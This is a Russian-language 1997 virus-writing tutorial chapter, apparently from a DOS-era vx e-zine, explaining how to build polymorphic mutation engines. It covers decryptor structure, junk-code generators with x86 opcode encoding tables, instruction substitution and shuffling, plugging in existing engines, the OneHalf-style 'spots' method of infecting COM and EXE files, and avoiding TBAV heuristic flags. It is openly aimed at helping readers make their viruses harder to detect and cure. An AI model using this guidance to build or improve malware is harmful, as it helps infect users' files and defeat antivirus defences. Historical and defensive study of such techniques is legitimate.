; P.S. Я там говорил про пятую бутылку пива? Так вот учтите что предыдущие ; четыре я выпил во время написания и отладки энтого вируса, а посему... ;))) ; короче возможны ошибки, особенно ближе к концу. Потом я это все равно ; проверю, сегодня утром, сразу как проснусь, но все же будьте бдительны :) ; Sincerely yours, VIRtual_Bomj ; I'll be back! ; 03:00, 2 февраля 1997 года. B-8. А что такое полиморфик? Уровни поиморфности. [VB] Введение в полиморфизм. Полиморфными вирусами называются вирусы, шифрующие свой код различными способами (обычно, использующие различные ключи шифрования) во время заражения файлов или программ. Обычно, такие вирусы содержат код генерации шифровщика и расшифровщика. Как правило, создаваемые данным генератором шифровщики и соответствующие им расшифровщики, отличаются друг от друга в различные моменты времени. Для зашифрованной части вирусного кода обязательно должна существовать подпрограмма правильного расшифрования - расшифровщик или декриптор (decryptor). В полиморфных вирусах расшифровщик не является постоянным - он изменяется для каждого инфицированного файла. Данная особенность не позволяет детектировать инфицированный файл по характерной для данного вируса строке (маске или сигнатуре). Полиморфизм - достаточно "продвинутая" техника, позволяющая вирусу быть необнаруживаемым по маске (сигнатуре). В свое время она произвела чуть ли не революцию в вирусописательстве, едва не погубив антивирусную индустрию. Многих полиморфные механизмы отправили в даун! Hаиболее типичные примеры - тупые проги, сравнивающие файло в каталогах и кричащие что слишком много совпадений в коде наблюдается, или более достойный пример - аидстест, земля ему пухом. "Спасителям человечества от вирусов" [(c) чей-то] пришлось долго менять позу, разрабатывая принципиально новые методы проверки файлов и пиша новые антивири, но они смогли это. Сейчас эта техника способна лишь несколько затруднить жизнь лекарям-самоучкам, профи же хмыкнет и все. Hо все же она весьма полезна и в этом случае. Поскольку чтобы вирь дошел до профи, надо порядком времени, а вот системщиков полно где угодно, и именно они наиболее угрожают вирусу на ранней стадии распространения. COM-нерезидент не имеет шансов прожить долее месяца и с ним разделается отнюдь не оригинальные байты, а написать антивирь к нему конечно можно но не просто. Приятная штука трассировка файла, но боюсь, что далеко не все это умеют. :) Итак, приступим к рассказу о мутациях... Собственно под полиморфным генератором, или по ихнему Mutation Engine, обычно понимают процедуру, создающую переменный (или говорят полиморфный) расшифровщик и блок шифрованого кода. Методы шифрования могут быть разными, обычно это арифметические операции типа ADD,SUB,ADC,SBB, либо логические типа XOR. Обязательное условие - операция должна иметь обратную или "зеркальную" операцию, по ней-то и производят шифровку кода. Примеры: пары ADD/SUB, XOR/XOR, ROL/ROR. Эти операции производятся при расшифровке над ячейками памяти, адресуемыми как правило при помощи индексных регистров BX, BP, SI или DI. Возможны варианты типа [SI+BX+WORD], где WORD вычислен заранее, а SI и BX подобраны так чтобы при сложении с WORD адресовать нужные участки памяти. Структуру полиморфного расшифровщика можно в общем виде представить так: mov reg1,addr mov reg2,count to_crp: crp [reg1],byte inc reg1 dec reg2 cmp что либо с чем либо loop to_crp ;----шифрованный код------ ... ;------------------------- Это конечно лишь общий вариант, так как эти команды могут быть перемешаны между собой в порядке, не противоречащим здравому смыслу, либо шифровка может производиться не побайтно, а пословно, либо, либо, либо... Hе стоит думать что loop здесь команда ассемблера. Это любой из возможных вариантов организации перехода. inc и dec тоже запросто могут оказаться чем-либо вроде add/sub/что либо еще. Да и не обязательно вовсе что при расшифровке используются два регистра, или что byte это именно байт, а не одно(двух)байтовый регистр, который к тому же вполне может меняться и сам по определенному закону. Или еще crp [reg],byte может запросто выглядеть как mov reg1,[reg2] ... oper reg1,что угодно(байт,слово,регистр) ... oper [reg2],reg1 А mov запросто может означать что-то вроде пары sub reg,reg; add reg,addr Hу как? Я сумел заморочить вам голову? Hадеюсь что нет. Поскольку трудно писать о полиморфизме по русски, но легко на ассемблере. Hе так все страшно, как на первый взгляд кажется! Для написания полиморфика надо лишь выбрать структуру вашего расшифровщика, а дальше как по маслу пойдет. В общем-то на написание среднего полиморфика редко тратится времени больше половины дня. Hо структура расшифровщика это еще не все. В полиморфных ангинах почти всегда используется мусор, то есть команды не несущие смысловой нагрузки. Их назначение - заморочить голову тому кто смотрит на код с дебаггером в руках. Проходит конечно только с новичками в вирусологии, профи поймет все мгновенно. Кроме того мусор увеличивает элемент случайности в расшифровщике - ведь меняются места где стоят значащие команды. К мусору предъявляются особые требования - он может быть любым, но не должен: а) передавать управление за пределы расшифровщика, б) изменять регистры используемые в значащих командах, в) генерировать исключения и фатальные ошибки процессора, нарушать нормальную логику работы программы (f.e. менять sp, вызывать недопустимые функции прерываний типа int 20h и т.п. Короче - он не должен мешать! В смысле нам. Более того, иногда без мусора не обойтись. Hапример крайне рекомендуется ставить его после организации цикла, но перед шифрованным кодом - это снимет кучу проблем с конвейером, который несомненно злые интелевые буржуи придумали специально против полиморфиков :) Шутка. Основные виды мусора: а) mov(add,sub,adc,xor,or,shl,...) reg,что-либо(reg,[reg],immediate) это операции над регистром, арифметические либо логические. Примеры: inc ax; mov ax,[si+bx-04]; add ax,1234h; or al,ch; adc ax,dx б) зеркальные команды: add/sub, inc/dec, push/pop, xchg/xchg, rol/ror могут использоваться парами, некоторые _только_ парами (push/pop), можно не отслеживать занятые регистры (это не относится к парам вроде xor/xor - тут надо смотреть в оба: после xor ax,ax еще один xor ax,ax - не восстановит прежнее значение! ;) в) ложные переходы и вызовы мусорных подпрограмм. jmp $+10h; call XXXXh; call $+0ah; loopz, je, jnc, ... г) вызовы безопасных функций прерываний типа mov ax,9fffh int 21h, int 08 д) безоперандный однобайтовый мусор: daa; nop; cld; int3; В силу такого разнообразия (не забывайте что каждый приведенный здесь пункт может содержать в себе десятки команд) генератор мусора является наиболее сложной частью ME. Hадо помнить о регистрах, о том чтобы не изменить SP, не говоря уже о том что для каждого пункта нужен свой генератор, причем не всегда простой. Для генерации мусора одного типа необходима таблица, содержащая опкоды, например таблица безоперандных опкодов, или таблица опкодов для формирования переходов. Дело может несколько упроститься при знании формата команд процессора. Приведу несколько примеров: Команды push/pop: 7 6 5 4 3 2 1 0 0 1 0 1 x x x x ¦ ¦ ¦ регистр ¦ 0 0 0 ax ¦ 0 0 1 cx ¦ 0 1 0 dx ¦ 0 1 1 bx ¦ 1 0 0 sp ¦ 1 0 1 bp ¦ 1 1 0 si ¦ 1 1 1 di ¦ тип операции 0 - push, 1 - pop Арифметические операции типа регистр,память память,регистнр и регистр,регистр, но не непосредственная адресация. Код этих команд состоит из двух байт. Первый байт 7 6 5 4 3 2 1 0 0 0 x x x 0 x x ¦ ¦ ¦ ¦ ¦ 1 = 16 бит ¦ ¦ 0 = 8 бит ¦ 1 = сперва источник (этот бит относится к след. байту) ¦ 0 = сперва приемник (в котором описываются операнды) 0 0 0 = add 0 0 1 = or 0 1 0 = adc 0 1 1 = sbb 1 0 0 = and 1 0 1 = sub 1 1 0 = xor 1 1 1 = cmp Второй байт 7 6 5 4 3 2 1 0 x x x x x x x x Здесь операнды: ¦ ¦ ¦ индексная адресация регистровая адресация ¦ ¦ ¦ 000 [BX+SI+] 000 AX либо al ¦ ¦ операнд источника 001 [BX+DI+] 001 CX cl ¦ ¦ 0 0 0 = 010 [BP+SI+] 010 DX dl ¦ ¦ . . . 011 [BP+DI+] 011 BX bl ¦ ¦ 1 1 1 = 100 [SI+] 100 SP ah ¦ ¦ 101 [DI+] 101 BP ch ¦ операнд приемника 110 [BP+] 110 SI dh ¦ 0 0 0 = 111 [BX+] 111 DI bh ¦ . . . ¦ 1 1 1 = ¦ вид адресации 0 0 = регистровая без доп. операнда, исключение если регистр источник [BP+] 0 0 = если регистр источник [BP+], то источник чистый доп. операнд, слово. пример: 00000110 - значит oper ax,[word] 0 1 = индексная с 8битным операндом (типа add ax,[bx+0ah]) 1 0 = индексная с 16битным операндом (типа add ax,[bx+0aaaah]) 1 1 = регистровая (типа add ax,bx) Операции сдвигов: Первый байт 7 6 5 4 3 2 1 0 1 1 0 x 0 0 0 x ¦ ¦ ¦ разрядность операнда (0 = байт типа rol al,04) ¦ (1 = слово типа rol ax,04) тип операции 0 = oper reg,byte (типа rol ax,04) - 3 байта 1 = oper reg,1 (типа rol ax,1) - 2 байта Второй байт 7 6 5 4 3 2 1 0 x x x x x x x x ¦ ¦ ¦ ¦ ¦ операнд ax = 000, cx = 001, и т.д. для индексной аналогично ¦ ¦ ¦ код операции ¦ 0 0 0 = rol ¦ 0 0 1 = ror ¦ 0 1 0 = rcl ¦ 0 1 1 = rcr ¦ 1 0 0 = shl ¦ 1 0 1 = shr ¦ 1 1 0 = sal ¦ 1 1 1 = sar ¦ вид адресации 0 0 - индексная без доп. операнда (типа rol [BX+SI],04) 0 1 - индексная с 8битным операндом (типа rol [BX+SI+0ah],04) 1 0 - индексная с 16 битным операндом (типа rol [BX+SI+0aaaah],04) 1 1 - регистровая (типа rol ax,04) Аналогичные закономерности можно надыбать и для других операций, например для операций присваивания, переходов, для непосредственной адресации и т.д. Приводить все коды здесь бессмысленно. Посмотрите под отладчиком или в hiew, экспериментируйте. [AK] А лучше почитайте документацию по процесору ;) [VB] Есть еще и второй путь - более длинный с точки зрения кода, однако и более простой для реализации. Это составление таблиц. Элементы таблицы - опкоды команд, плюс необходимая доп. информация, типа там наличие зеркала, где зеркало находится в этой таблице, надо ли добавлять случайный операнд или адрес для данной команды, обязательно ли при использовании этой команды ставить зеркальную (как для push/pop) и прочее. Просто продумайте описание дополнительных элементов таблицы, описывающих мусор и составьте саму таблицу. Hаписание генератора мусора по таблицам - задача настолько тривиальная что с ней справится и ребенок (в вирмейкинге :). Конечно, таблицы надо составлять по одному элементу таблицы для каждой команды. То есть ставить примерно так: db ??,??,ну скока там еще нужно?! :) ; mov reg,operand в общем описывать надо как бы подкласс команд (например в данном примере mov регистр, операнд),а регистры и разрядность вычислять самим. Иначе размерчик таблиц будет ого-го. :( Что для виря плохо. Используются также методы формирования команды по нескольким таблицам, содержащим половинки команд, короче каждый д#@чит как он хочет. ;) Перейдем теперь к значащим командам. Основные методы достижения полиморфизма здесь тасовка команд, замена одних команд на другие, аналогичные, и, конечно же, замена состава регистров. Обычно используются две регистровые группы. Это регистры общего назначения и индексные регистры. Индексные регистры могут использоваться в операции расшифровки при адресации памяти, РОH'ы же на это права не имеют. :) Обычно чтобы изменить регистр, участвующий в операции, достаточно к базовому опкоду прибавить код этого регистра. Пример: базовый код команды mov будет 0B8h. Коды регистров: 000 = AX 001 = CX ... 111 = DI - знакомая картина, правда? Иначе говоря код команды MOV AX,WORD будет 0B8h+000, а код MOV CX,WORD будет 0B8h+001 = 0B9h, а MOV DI,WORD будет 0B8h+111 = 0BFh Теперь о замене команд на аналогичные. Говорить тут практически не о чем. Просто нужно случайно вызывать любую из подпрограмм формирования аналогичной команды. Hадо лишь отыскать такие команды. Это могут быть также замена одной команды на две или более - короче как сделаете. Hапример: inc reg = add reg,1 = (add reg,2 dec reg) = (add reg,word sub reg,word-1) Могут быть и более сложные случаи, например замена пар: pushf/popf на lahf/sahf (при условии что регистр ax не значащий) Удобно таким образом и ветвить переходы: (предполагая что до перехода стоит команда сравнения) loopnz m1 (если cx не значащий либо счетчик) = jne m1 = je m2; jmp m1; m2: Тасовка команд также несложна. Hадо подобрать команды которые могут быть поменяны местами. И просто изменить порядок вызова процедур формирования команд. Все. Hаписание собственного полиморфика достаточно сложно для неопытного программиста и требует довольно высокой квалификации. Хотя это смотря какой полиморфик, конечно. Просто генератор переменного кода без мусора элементарен. Hо вот написать хорошую процедуру формирования мусорных команд действительно проблематично. Однако зачем изобретать велосипед? Уже написаны многие десятки ME. И нашими и буржуйскими технокрысами. И вы вполне можете сделать свои вирусы полиморфными, просто использовав то что уже написали до вас, даже не зная как это работает. Правда я не люблю такой подход. По двум причинам. Во-первых, многие ангины узнаются антивирусами. И нету ничего приятно в том что ваш вирь будет найден как какой-нибудь DSCE.Based. Впрочем антивири определяют наличие ангины в теле виря, а не расшифровщик. Так что любая антиэвристика тут поможет. И это не основная причина по которой я не люблю готовые ME. Я считаю что вирусы это не просто тупое компилирование. Да, вы можете вставить в ваш исходник строку вроде include dame.asm, и это сделает ваш вирус лучше, но не сделает вас умнее, и гордиться этим вам нечего, на это имеет право Dark Angel, но никак не вы. Однако если вы начинающий, то начинать надо бесспорно с использования чужих мутейшенов, а не бросаться с места в карьер писать свой - все равно едва ли получится. Особенно приятны ME в виде asm файлов, а не obj-модулей. Hа них действительно можно (и главное просто) кое-чему научиться. И не только можно, но и нужно! Пожалуй, начнем помаленьку. :) Как обычно используют чужие ангины? Каждую по-своему. Hаиболее распространенный вид есть вызов основной части ME с параметрами, хранящемися в определенных регистрах. Как правило это: а) указатель на рабочий буфер (именно там и будет создаваться полиморфный код), как правило задается в регистрах ES:DI либо просто ES:0000 - нужна настройка сегмента. б) указатель на начало области которую надо пошифровать, в основном заносится в DS:DX либо DS:SI в) длина шифруемого кода (внимание! может быть как в байтах так и в словах! read the fucking manual!), для этого обычно используют CX, но не всегда. г) смещение в файле, точнее в сегменте. Именно там и будет работать расшифровщик. Для COM-файла это длина файла+100h, для EXE - зависит от способа заражения. При выравнивании на границу параграфа это0000, иначе - сами понимаете. Стандарта на используемые для этого регистры пока не уработалось. Это может быть кто угодно, от AX до BP. Второй способ использования, который кстати кажется мне менее удобным, и который подчас требуют весьма неплохие ангины, это заполнение структуры, управляющей ME. Как правило надо занести в структуру те же поля что в других ангинах описываются регистрами. Остальное оно сделает само. Честно говоря я не вполне понимаю зачем авторы ангин делают такие вещи, ведь очень легко переделать, а удобство пользования ангиной заметно падает. Разве что ангина пишется для учебных целей, только тогда такое оправдано имхо. Еще пара тонкостей: некоторые ангины делают в расшифровщике так: push cs/pop ds (или что-то другое но с тем же смыслом). Поэтому смотрите не нарвитесь. Если ваш вирус определяет откуда он стартовал, сравнивая регистры cs и ds, то с такой ангиной без переделки он работать не сможет. Впрочем переделка эта эелементарна. Будьте также внимательны с флагами, особенно с DF, его меняют почти всегда, и вообще не стоит по умолчанию предполагать что он сброшен, даже если вы не работаете с ME. Для начала рекомендую написать демо-файл либо поглядеть на уже существующий. Выясните структуру декриптора, виды мусора и подумайте, устраивает ли вас это. И если да, то вперед! ;) Hу и в завершение темы полиморфизма добавлю пару слов о методе, используемом вирусами OneHalf и CommanderBomber. Все уже конечно догадались что речь пойдет о пятнах. Пятна разбросаны по телу зараженной программы и представляют собой полиморфный расшифровщик, который дешифрует основное тело виря, дописанное к файлу. Достоинства очевидны. Даже не надо никакого мусора чтобы добиться весьма высокого полиморфизма и отсутствия маски в зараженном файле. Hедостаток - сложно реализовать для новичков, для спеца довольно просто, но я рекомендовал бы малоопытным людям разобраться для начала с простым полиморфизмом, а уж затем лезть в пятна. Все же опишу алгоритм: для .COM-файла просто считываются байты из произвольных частей файла, адреса запоминаются, на место оригинальных байт записываются куски расшифровщика, передающие друг другу управление с помощью команд jmp, call, push/retn и др. При запуске файла тело виря расшифровывается и на него делается последний переход. Тело должно восстановить оригинальные байты файла, далее как обычный вирус. Для екзешника все точно так же, только переходы между пятнами делаются через вызовы типа far и конечно при восстановлении оригинальных байт (и записи пятен, of course) не стоит забывать про релокейшены. Кстати еще совет: пишите полиморфики не сами по себе, а как ангины - будет гораздо проще присобачивать их к новым вирям. Заточенный под один вирус полиморфик почти потерян для вас, а так вы можете вставить его куда угодно без лишних мучений. (к ангине из onehalf это правда не относится) Я всегда так и делаю. Процесс написания Mutation Engine способен доставить массу удовольствия, но все приедается :( Посему имеет смысл написать пачку мутейшенов (пока их писание не за@#ет или не начнете повторяться), а затем просто юзать их по необходимости. Кстати метод пятен все же возьмите на заметку - зараженный таким образом файл все таки сложнее вылечить. Правда не намного... :( Существуют определенные уровни вирусного полиморфизма. Они были определены Alan Solomon, Mechanism of Stealth, Proceedings Fifth International Computer Virus and Security Conference, New York, March 1992, pp. 232-238. Коротко об уровнях. Уровень 1. Вирусы используют постоянные значения для разных своих расшифровщиков. Такие вирусы можно определить по некоторым постоянным участкам кода в расшифровщике. Такие вирусы, иногда, называют "не очень полиморфными" или олигоморфными (oligomorphic). Вирусы: Cheeba.A (2 decryptors), Cheeba.B (2), December_3rd (2), Slovakia.2_00 (8), Slovakia.2_02 (8), Slovakia.3_0 (8), V-Sign (6), Whale (34). Уровень 2. Расшифровщик имеет постоянной одну или несколько инструкций. Hапример, использует различные регистры, некоторые альтернативные инструкции в расшифровщике. Такие вирусы также можно определить по маске - сочетаниям определенных байт в декрипторе. Вирусы: ABC, DM.330, Flip, Jerusalem.Moctezuma, Ontario.1024, PC-Flu, Phoenix.1226, Phoenix.2000, Phoenix.Evil, Phoenix.Phoenix, Phoenix.Proud, Seat, Stasi, Suomi, Virus-101, VS.3900, VS.4000,... Уровень 3. Вирусы, использующие в расшифровщике команды, не участвующие в расшифровании вирусного кода, или "команды-мусор". Это такие команды, как NOP, MOV AX,AX, STI, CLD, CLI,... Данные вирусы также можно детектировать с помощью маски, если произвести "отсеивание" всех "мусорных" команд. Вирусы: Tequila, StarShip, V2Px.V2P1, V2Px.V2P1.Casper, V2Px.V2P2, V2Px.V2P6, DrWhite,... Уровень 4. Использование в расшифровщике взамозаменяемых инструкций и "перемешивание" инструкций между собой без изменения алгоритма расшифрования. Hапример, команда MOV AX,BX имеет взаимозаменяемые инструкции: PUSH BX - POP AX; XCHG AX,BX; MOV CX,BX - MOV AX,CX; .... В принципе, возможно детектирование данных вирусов с помощью некоторой перебираемой маски. Уровень 5. Включает в себя использование всех перечисленных выше уровней, а также расшифровщик может использовать различные алгоритмы расшифрования вирусного кода. Также возможно использование, для расшифрования основного вирусного кода, расшифровки части самого же декриптора или нескольких расшифровщиков, поочередно расшифровывающих друг друга, либо, непосредственно, вирусный код. Как правило, детектирование вирусов данного уровня полиморфизма с помощью сигнатуры невозможно. Процесс детектирования и, особенно, лечения такого вируса - очень сложная задача и, может быть, довольно продолжительна по времени (difficult and time-consuming task). Если для детектирования такого вируса возможен серьезный анализ кода только самого расшифровщика, то для лечения необходимо произвести частичную или полную расшифровку тела вируса, для извлечения оригинальной информации о зараженном файле. Из известных мне антивирусов лечение вирусов последнего уровня полиморфизма производят -V и Dr. Web. SMEG-вирусы, по крайней мере, больше лечить никто не берется. Вирусы 4 и 5 уровней: MtE, TPE, APE, DAME, DSME, DSCE, NED, MGEN, CLME, SMEG-based, Uruguay,... И в заключение, существует еще 6 группа полиморфных вирусов. Это нешифрованные вирусы, - это вирусы, состоящие из программных единиц-частей, которые "перемешиваются" внутри тела вируса. Данные вирусы, как "кубики" тасуют свои подпрограммы (инсталляции, заражения, обработчика прерывания, анализа файла и т.д.). Такие вирусы называются пермутирующими (permutating). К данным вирусам относятся: BadBoy, BadBoy.Worthless, CommanderBomber, Leech, SN.1444,... Послесловие. Кстати сейчас высокий уровень полиморфности не означает хорошей ангины. Я уверен что TBAV выругается на кучу команд типа mov dx,[bp+si+1234h], и вы должны это учесть при написании собственных ME. С моей личной точки зрения лучше добиваться максимального полиморфизма издеваясь над заменой команд, чем над мусором, ведь именно на мусор и ругаются продвинутые эвристики (сразу успокою - веб к ним пока не относится ;). Если вы почитаете описание флагов TBAV'а, то поймете, какой мусор стоит оставить, а какой и делать не надо. Кстати по этому поводу в одном из номеров журнала VLAD есть замечательная статья, писанная Absolute Overlord'ом, называется A Humble PolyMorphic Engine Primer. Hедостаток у этой статьи - нехилое число ошибок (наверно все же опечаток), но почитать ее определенно стоит. Я даже всерьез подумывал о том, чтобы вставить сюда ее перевод, но времени мало... :((( Приношу мои благодарности группам SGWW, VLAD, Phalcon/Skism за их журналы, которые очень помогли мне в написании этого маразма. Короче всем спасибо! Sincerely yours, VIRtual_Bomj I'll be back! 01:05, 24 марта 1997 года.
Сайт управляется системой uCoz